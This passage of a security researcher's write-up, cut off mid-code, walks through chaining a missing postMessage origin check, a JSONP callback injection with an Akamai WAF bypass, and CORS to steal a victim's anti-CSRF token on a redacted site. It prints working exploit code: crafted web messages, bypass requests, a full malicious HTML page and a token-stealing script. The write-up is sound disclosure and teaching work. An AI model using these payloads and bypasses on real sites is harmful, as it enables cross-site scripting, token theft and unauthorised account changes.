</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#e6db74">&#34;function&#34;</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">n</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">throw</span> <span style="color:#a6e22e">APP</span>.<span style="color:#a6e22e">Exception</span>(<span style="color:#e6db74">&#34;COMMUNICATION_SECURITY&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">n</span>(<span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">arg</span>)
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">APP</span>.<span style="color:#a6e22e">catchException</span>(<span style="color:#a6e22e">e</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#f92672">!</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The conspicuous absence of an <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#security_concerns" target="_blank" rel="noopener">origin check</a>
from that event listener implies that
any malicious page (deployed anywhere on the Web)
that holds a reference to a document
whose location is <code>https://out-of-scope.redacted.com/search</code>
can send malicious Web messages to that document,
and those messages would unconditionally get accepted and processed.
With what impact?
That entirely depends on the logic of the listener.
A casual static analysis of the code indicates that, on its &ldquo;happy path&rdquo;,
the message event listener does the following:</p>
<ol>
<li>Parse the event&rsquo;s <code>data</code> property as JSON and stored the result in an object named <code>t</code>.</li>
<li>Split the <code>method</code> property on periods.</li>
<li>Use the result of step 2 to iteratively access
nested properties of some <code>window.APP</code> object (declared elsewhere in the client).</li>
<li>Call the function thus obtained and pass it
a property named <code>arg</code> of object <code>t</code> (see step 1) as argument.</li>
</ol>
<p>In summary, my malicious page could send
a specially crafted Web message to <code>https://out-of-scope.redacted.com/search</code>
in order to trigger the execution of some malicious JavaScript code
in the context of Web origin <code>https://out-of-scope.redacted.com</code>.
For instance, consider the following string:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#e6db74">`{&#34;method&#34;: &#34;APP.foo.bar.baz&#34;, &#34;arg&#34;: &#34;qux&#34;}`</span>
</span></span></code></pre></div><p>On the condition that expression <code>window.APP.foo.bar.baz</code>
be defined and actually be a function,
sending the aforementioned string
as a Web message to <code>https://out-of-scope.redacted.com/search</code>
would lead the latter to execute the following JavaScript code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">APP</span>.<span style="color:#a6e22e">foo</span>.<span style="color:#a6e22e">bar</span>.<span style="color:#a6e22e">baz</span>(<span style="color:#e6db74">&#39;qux&#39;</span>)
</span></span></code></pre></div><p>Unfortunately, the listener&rsquo;s logic limited this vector for <a href="https://owasp.org/www-community/attacks/DOM_Based_XSS" target="_blank" rel="noopener">DOM-based XSS</a>
to calls to functions accessible through the <code>window.APP</code> object,
and with a single arbitrary argument of type <code>string</code>.
Try as I may, I couldn&rsquo;t find a way to access powerful DOM functionalities
like <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval" target="_blank" rel="noopener"><code>eval</code></a> or <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function" target="_blank" rel="noopener"><code>Function</code>&rsquo;s constructor</a>
in order to escalate this finding to <em>unrestricted</em> DOM-based XSS.
Faced with this constraint,
I had no other option than to painstakingly explore the properties of the
<code>window.APP</code> object in the hope of discovering some useful
<a href="https://research.google/pubs/code-reuse-attacks-for-the-web-breaking-cross-site-scripting-mitigations-via-script-gadgets/" target="_blank" rel="noopener">script gadget</a>.</p>
<hr>
<p>Perhaps a simpler solution escaped me then;
I have no doubt that perceptive readers who are XSS experts or who simply have perused
<a href="https://garethheyes.co.uk" target="_blank" rel="noopener">Gareth Heyes</a>&rsquo;s recently released book,
<a href="https://leanpub.com/javascriptforhackers" target="_blank" rel="noopener"><em>JavaScript for Hackers</em></a>,
will point one out to me.
Gareth, I promise you that your book is next on my reading list!</p>
<hr>
<h2 id="setting-cookies-across-origins-to-no-avail">Setting cookies across origins, to no avail <a href="#setting-cookies-across-origins-to-no-avail">¶</a></h2>
<p>A function named <code>APP.util.setCookie</code> immediately stood out.
As its name implies,
it allowed callers to set arbitrary cookies on the <code>out-of-scope.redacted.com</code> domain.
For example, a malicious cross-origin page could set
a cookie named <code>foo</code> with value <code>bar</code> on <code>out-of-scope.redacted.com</code> like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">win</span> <span style="color:#f92672">=</span> window.<span style="color:#a6e22e">open</span>(<span style="color:#e6db74">&#39;https://out-of-scope.redacted.com&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">// omitted: wait a few seconds for the page to load
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">msg</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`{&#34;method&#34;:&#34;APP.util.setCookie&#34;, &#34;arg&#34;:&#34;foo=bar&#34;}`</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">win</span>.<span style="color:#a6e22e">postMessage</span>(<span style="color:#a6e22e">msg</span>, <span style="color:#e6db74">&#39;*&#39;</span>);
</span></span></code></pre></div><p>The ability to set cookies across Web origins often helps
Web attackers gain a foothold on their target:
it may allow them to achieve <a href="https://owasp.org/www-community/attacks/Session_fixation" target="_blank" rel="noopener">session fixation</a>,
unlock otherwise seldom exploitable cookie-based XSS,
defeat some implementations of the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#double-submit-cookie" target="_blank" rel="noopener">double-submit-cookie defence</a> against CSRF, etc.
Sadly, I could not find a way to abuse that <code>APP.util.setCookie</code> function to cause real damage.</p>
<h2 id="a-shoddy-jsonp-endpoint-leads-to-dom-based-xss">A shoddy JSONP endpoint leads to DOM-based XSS <a href="#a-shoddy-jsonp-endpoint-leads-to-dom-based-xss">¶</a></h2>
<p>However, a function named <code>window.APP.apiCall</code> eventually caught my eye:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">apiCall</span>(<span style="color:#a6e22e">t</span>, <span style="color:#a6e22e">n</span>, <span style="color:#a6e22e">r</span>, <span style="color:#a6e22e">a</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;/&#34;</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">t</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">t</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">o</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">split</span>(<span style="color:#e6db74">&#34;?&#34;</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> [];
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">o</span>[<span style="color:#ae81ff">0</span>],
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">o</span>[<span style="color:#ae81ff">1</span>].<span style="color:#a6e22e">split</span>(<span style="color:#e6db74">&#34;&amp;&#34;</span>)),
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;https://search.redacted.com&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">t</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;get&#34;</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">i</span>.<span style="color:#a6e22e">push</span>(<span style="color:#e6db74">&#34;request_method=&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">n</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">null</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">r</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">c</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">r</span>)
</span></span><span style="display:flex;"><span>                ({}).<span style="color:#a6e22e">hasOwnProperty</span>.<span style="color:#a6e22e">call</span>(<span style="color:#a6e22e">r</span>, <span style="color:#a6e22e">c</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>                  <span style="color:#a6e22e">i</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;=&#34;</span> <span style="color:#f92672">+</span> encodeURIComponent(<span style="color:#a6e22e">r</span>[<span style="color:#a6e22e">c</span>]));
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">i</span>.<span style="color:#a6e22e">push</span>(<span style="color:#e6db74">&#34;output=jsonp&#34;</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">null</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">token</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">i</span>.<span style="color:#a6e22e">push</span>(<span style="color:#e6db74">&#34;access_token=&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">token</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">i</span>.<span style="color:#a6e22e">push</span>(<span style="color:#e6db74">&#34;version=js-v&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">_version</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">_send</span>({
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">path</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">t</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">path_args</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">i</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">callback</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">a</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">callback_name</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;callback&#34;</span>
</span></span><span style="display:flex;"><span>            })
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">t</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">catchException</span>(<span style="color:#a6e22e">t</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>I&rsquo;ll spare you from the labyrinthine and irrelevant details of that function.
Only two observations about <code>window.APP.apiCall</code> matter:</p>
<ul>
<li><code>window.APP.apiCall</code> is designed to
send a request to a <a href="https://en.wikipedia.org/wiki/JSONP" target="_blank" rel="noopener">JSONP endpoint</a> on <code>https://search.redacted.com</code>
and load the response as an external script
(in the context of Web origin <code>https://out-of-scope.redacted.com</code>); and</li>
<li><code>window.APP.apiCall</code> doesn&rsquo;t build the JSONP URL in a particularly secure way.</li>
</ul>
<p>Further dynamic tests on this JSONP endpoint revealed that
it was protected by <a href="https://www.akamai.com/" target="_blank" rel="noopener">Akamai</a>&rsquo;s <a href="https://en.wikipedia.org/wiki/Web_application_firewall" target="_blank" rel="noopener">Web-application firewall (WAF)</a>.
But I serendipitously discovered that,
thanks to some questionable URL parsing on the server side,
this obstacle could easily be bypassed.
For an illustrative example, consider this first request and its <code>403</code> response
from Akamai:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> https://search.redacted.com/?callback=alert&amp;output=jsonp <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2</span> <span style="color:#ae81ff">403</span> <span style="color:#a6e22e">Forbidden</span>
</span></span><span style="display:flex;"><span>Server<span style="color:#f92672">:</span> <span style="color:#ae81ff">AkamaiGHost</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><p>Now consider this second request
(note the absence of a <code>?</code> marking the beginning of the URL&rsquo;s querystring)
and its <code>200</code> response from the origin server:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> https://search.redacted.com/&amp;callback=alert&amp;output=jsonp <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2</span> <span style="color:#ae81ff">200</span>
</span></span><span style="display:flex;"><span>Server<span style="color:#f92672">:</span> <span style="color:#ae81ff">Apache</span>
</span></span><span style="display:flex;"><span>Content-Length<span style="color:#f92672">:</span> <span style="color:#ae81ff">59</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/javascript; charset=utf-8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">alert</span>({<span style="color:#e6db74">&#34;error&#34;</span><span style="color:#f92672">:</span>{<span style="color:#e6db74">&#34;msg&#34;</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#34;Unknown path components: \/get&#34;</span>}})
</span></span></code></pre></div><p>Moreover, the JSONP endpoint was very lenient in the validation of its callback;
on the condition that the value of the <code>callback</code> query parameter
be (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent#encoding_for_content-disposition_and_link_headers" target="_blank" rel="noopener">fully</a>) doubly URL-encoded, the JSONP endpoint would accept it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> https://search.redacted.com/&amp;callback=alert%2528%2527xss%2527%2529%252F%252F&amp;output=jsonp <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2</span> <span style="color:#ae81ff">200</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/javascript; charset=utf-8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#39;xss&#39;</span>)<span style="color:#75715e">//({&#34;error&#34;:{&#34;msg&#34;:&#34;Unknown path components: \/get&#34;}})
</span></span></span></code></pre></div><p>Happy days!
I could now craft a malicious page that would send a Web message to <code>https://out-of-scope.redacted.com/search</code>
designed to trick the latter into hitting the JSONP endpoint with a payload of my choice.
And as a result, I could get arbitrary JavaScript code (e.g. <code>alert(document.domain)</code>)
to execute in the context of Web origin <code>https://out-of-scope.redacted.com</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;https://out-of-scope.redacted.com/search&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">win</span> <span style="color:#f92672">=</span> window.<span style="color:#a6e22e">open</span>(<span style="color:#a6e22e">url</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">// omitted: wait a few seconds for the page to load
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">msg</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;method&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;APP.apiCall&#39;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;arg&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;&amp;callback=alert%2528document.domain%2529%252f%252f&amp;output=jsonp#&#39;</span>
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">win</span>.<span style="color:#a6e22e">postMessage</span>(<span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">msg</span>), <span style="color:#e6db74">&#39;*&#39;</span>);
</span></span></code></pre></div><p>Now armed with this unrestricted DOM-based XSS
on Web origin <code>https://out-of-scope.redacted.com</code>
(which, as you may recall, was allowed in the CORS configuration
of the <code>https://www.redacted.com/profile</code> resource),
I had a way to steal my victim&rsquo;s anti-CSRF token.</p>
<h2 id="the-need-for-one-click-user-interaction">The need for one-click user interaction <a href="#the-need-for-one-click-user-interaction">¶</a></h2>
<p>In order to send Web messages to their intended destination (<code>https://out-of-scope.redacted.com/search</code>),
my malicious page first needed to acquire a reference to
either an iframe or a window opened on that page.
Unfortunately, cross-origin framing of <code>https://out-of-scope.redacted.com/search</code>
was <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options#sameorigin" target="_blank" rel="noopener">out of the question</a> because all of my target&rsquo;s responses invariably contained the following header:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">X-Frame-Options: SAMEORIGIN
</span></span></span></code></pre></div><p>However, I could instead design my malicious page
to open <code>https://out-of-scope.redacted.com/search</code> in a pop-up window
at the expense of a modicum of user interaction—necessary for
bypassing the <a href="https://support.google.com/chrome/answer/95472" target="_blank" rel="noopener">browser&rsquo;s pop-up blocker</a>—such as clicking a button.</p>
<h2 id="putting-it-all-together-for-a-one-click-csrf">Putting it all together for a one-click CSRF <a href="#putting-it-all-together-for-a-one-click-csrf">¶</a></h2>
<p>I deployed the following static page to <code>https://redacted.jub0bs.com/index.html</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">encode</span>(<span style="color:#a6e22e">str</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> encodeURIComponent(<span style="color:#a6e22e">str</span>).<span style="color:#a6e22e">replace</span>(
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">/[&#39;()*]/g</span>,
</span></span><span style="display:flex;"><span>          (<span style="color:#a6e22e">c</span>) =&gt; <span style="color:#e6db74">`%</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">charCodeAt</span>(<span style="color:#ae81ff">0</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#ae81ff">16</span>).<span style="color:#a6e22e">toUpperCase</span>()<span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">win</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">sendMsg</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#e6db74">&#34;https://out-of-scope.redacted.com/search&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">win</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;undefined&#39;</span>) {
</span></span><span style="display:flex;"><span>           <span style="color:#a6e22e">win</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">open</span>(<span style="color:#a6e22e">url</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">delayMs</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">2000</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">payload</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URLSearchParams</span>(window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">search</span>)
</span></span><span style="display:flex;"><span>            .<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;payload&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setTimeout</span>(() =&gt; {
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">doubleEncodedPayload</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">encode</span>(<span style="color:#a6e22e">encode</span>(<span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">payload</span><span style="color:#e6db74">}</span><span style="color:#e6db74">//`</span>));
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">msg</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;method&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;APP.apiCall&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;arg&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`&amp;callback=</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">doubleEncodedPayload</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&amp;output=jsonp#`</span>
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">win</span>.<span style="color:#a6e22e">postMessage</span>(<span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">msg</span>), <span style="color:#a6e22e">url</span>.<span style="color:#a6e22e">origin</span>);
</span></span><span style="display:flex;"><span>        }, <span style="color:#a6e22e">delayMs</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">button</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Click me!&#34;</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sendMsg();&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>The page consists of a single button, a click on which
would cause my malicious payload to execute on <code>https://out-of-scope.redacted.com</code>.
Note that, for testing purposes,
I opted to parameterise the malicious payload via a query parameter named <code>payload</code>.
I also deployed the following JavaScript file to <code>https://redacted.jub0bs.com/1.js</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">stealToken</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;https://www.redacted.com/profile&#39;</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">opts</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>, <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;include&#39;</span>};
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span>, <span style="color:#a6e22e">opts</span>)
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">body</span> =&gt; <span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">json</span>())
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">data</span> =&gt; <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">csrftoken</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">csrf</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">stealToken</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`https://www.redacted.com/api/updateProfile?csrftoken=</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">token</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>;
